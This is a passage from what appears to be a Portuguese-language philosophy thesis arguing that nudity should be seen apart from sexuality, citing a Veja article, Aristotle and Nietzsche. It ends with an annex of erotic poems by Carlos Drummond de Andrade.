opinião. É um assunto que mexe com todos. É um tema que até para um trabalho de
conclusão em um curso de filosofia acaba gerando certa polêmica. Há quem diga,
inclusive, que o assunto não é filosófico. A revista VEJA abordou este tema na
edição de 10 de dezembro de 2008 e mostrou que mesmo hoje e no meio artístico,
que é tido como liberal, ainda existe muita discussão em torno deste tema. A
revista o intitulou como: “Puritanismo envergonhado”32 . O ator
Pedro Cardoso chama de “pornografia disfarçada” a nudez, que em sua análise é
forçada, vendida como um produto (indispensável) da mídia. O autor da
reportagem, Marcelo Bortolini, faz algumas indagações: Quando a nudez é
aceitável? Quando é ofensiva? E quem decide isto? São perguntas difíceis de
serem respondidas. Aristóteles simplifica dizendo que “é nos olhos que vive o
pudor”. Percebemos que a noção de certo e errado está dentro de nós, arraigada.
Temos já definidas o que Nietzsche afirma ser sua principal preocupação
(Zaratustra), nossas virtudes. Quem nos libertará de nossas virtudes? Pergunta
o filósofo33 . Se formos analisar a televisão, perceberemos que é
uma mídia “viva”, rápida, onde a principal função é entreter. Quem faz esta
mídia já aprendeu o que procuramos

32
BORTOLONI, Marcelo. Puritanismo envergonhado. Revista Veja. São Paulo, Ano 41, Ed. 2090, Dez. 2008.
33
“Detesto os vossos vícios e mais
ainda vossas virtudes, pois dos vícios você se liberará um dia” falou Zaratustra.

como entretenimento. E a nudez, sem
dúvida, é uma de nossas necessidades. Exatamente aquilo que escondemos e
repudiamos. A nudez está sendo usada como forma de protesto ou de propaganda.
Temos calendários de vovozinhas nuas com a renda para a pesquisa de leucemia,
tiram a roupa em campanha pelo vegetarianismo ou contra o aquecimento global.

Esta cada vez
mais comum ver o nu.

E a grande responsável por esta mudança de paradigma é
a arte que aos poucos, com seus gênios renascentistas, pularam os muros das
igrejas e se propagaram pelo mundo. Precisamos esquecer o caráter erótico da
nudez, relembrar que somos esta carne que está à mostra. A outra opção é a
censura. Alguém que decidiria o que devemos ver. Um poder como o da igreja, que
por muito tempo, nos dita, em nome de Deus o que é certo e errado. Nosso corpo,
ao contrário do que nos foi ensinado, não é o instrumento do pecado. Temos que
enxergar a nudez desvinculada do sexo. Desta maneira, quando precisarmos estar
em uma UTI, não nos preocuparmos por estarmos “naturalmente” nus. O escritor
Marcelo Bortolini, termina citando, brilhantemente, Carlos Drummont de Andrade.
Tomo a liberdade de copiá-lo: “Oh! Sejamos pornográficos, docemente
pornográficos, porque assim, seremos mais castos que nosso avô português?34

34 Em seu poema: Em face dos últimos acontecimentos.

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ANEXO
1

A BUNDA QUE ENGRAÇADA Carlos Drummond de Andrade – 1902-1987

A BUNDA, QUE ENGRAÇADA

A bunda, que engraçada.
Está sempre sorrindo, nunca é trágica.

Não lhe importa o que vai
pela frente do corpo. A bunda basta-se.
Existe algo mais? Talvez os seios.
Ora – murmura a bunda – esses garotos
ainda lhes falta muito que estudar.

A bunda são duas luas gêmeas
em rotundo meneio. Anda por si
na cadência mimosa, no milagre
de ser duas em uma, plenamente .

A bunda se diverte
por conta própria. E ama.
Na cama agita-se. Montanhas
avolumam-se, descem. Ondas batendo
numa praia infinita.

Lá vai sorrindo a bunda. Vai feliz
na carícia de ser e balançar.
Esferas harmoniosas sobre o caos.

A bunda é a bunda,
redunda.

 

Amor, pois que é palavra essencial

Amor – pois que é palavra essencial
comece esta canção e toda a envolva.
Amor guie o meu verso, e enquanto o guia,
reúna alma e desejo, membro e vulva.

Quem ousará dizer que ele é só alma?
Quem não sente no corpo a alma expandir-se
até desabrochar em puro grito
de orgasmo, num instante de infinito?

O corpo noutro corpo entrelaçado,
fundido, dissolvido, volta à origem
dos seres, que Platão viu completados:
é um, perfeito em dois; são dois em um.

Integração na cama ou já no cosmo?
Onde termina o quarto e chega aos astros?
Que força em nossos flancos nos transporta
a essa extrema região, etérea, eterna?

Ao delicioso toque do clitóris,
já tudo se transforma, num relâmpago.
Em pequenino ponto desse corpo,
a fonte, o fogo, o mel se concentraram.

Vai a penetração rompendo nuvens
e devassando sóis tão fulgurantes
que nunca a vista humana os suportara,
mas, varado de luz, o coito segue.

E prossegue e se espraia de tal sorte
que, além de nós, além da prórpia vida,
como ativa abstração que se faz carne,
a idéia de gozar está gozando.

E num sofrer de gozo entre palavras,
menos que isto, sons, arquejos, ais,
um só espasmo em nós atinge o climax:
é quando o amor morre de amor, divino.

Quantas vezes morremos um no outro,
no úmido subterrâneo da vagina,
nessa morte mais suave do que o sono:
a pausa dos sentidos, satisfeita.

Então a paz se instaura. A paz dos deuses,
estendidos na cama, qual estátuas
vestidas de suor, agradecendo
o que a um deus acrescenta o amor terrestre.

Sugar e ser sugado pelo amor

Sugar e ser sugado pelo amor
no mesmo instante boca milvalente
o corpo dois em um o gozo pleno
Que não pertence a mim nem te pertence
um gozo de fusão difusa transfusão
o lamber o chupar o ser chupado
no mesmo espasmo
é tudo boca boca boca boca
sessenta e nove vezes boquilíngua.

O Chão É Cama

O chão é cama para o amor urgente,
amor que não espera ir para a cama.
Sobre tapete ou duro piso, a gente
compõe de corpo e corpo a úmida trama.

E para repousar do amor, vamos à cama.

Quarto em Desordem

Na curva perigosa dos cinqüenta
derrapei neste amor. Que dor! que pétala
sensível e secreta me atormenta
e me provoca à síntese da flor

que não sabe como é feita: amor
na quinta-essência da palavra, e mudo
de natural silêncio já não cabe
em tanto gesto de colher e amar

a nuvem que de ambígua se dilui
nesse objeto mais vago do que nuvem
e mais indefeso, corpo! Corpo, corpo, corpo

verdade tão final, sede tão vária
a esse cavalo solto pela cama
a passear o peito de quem ama.

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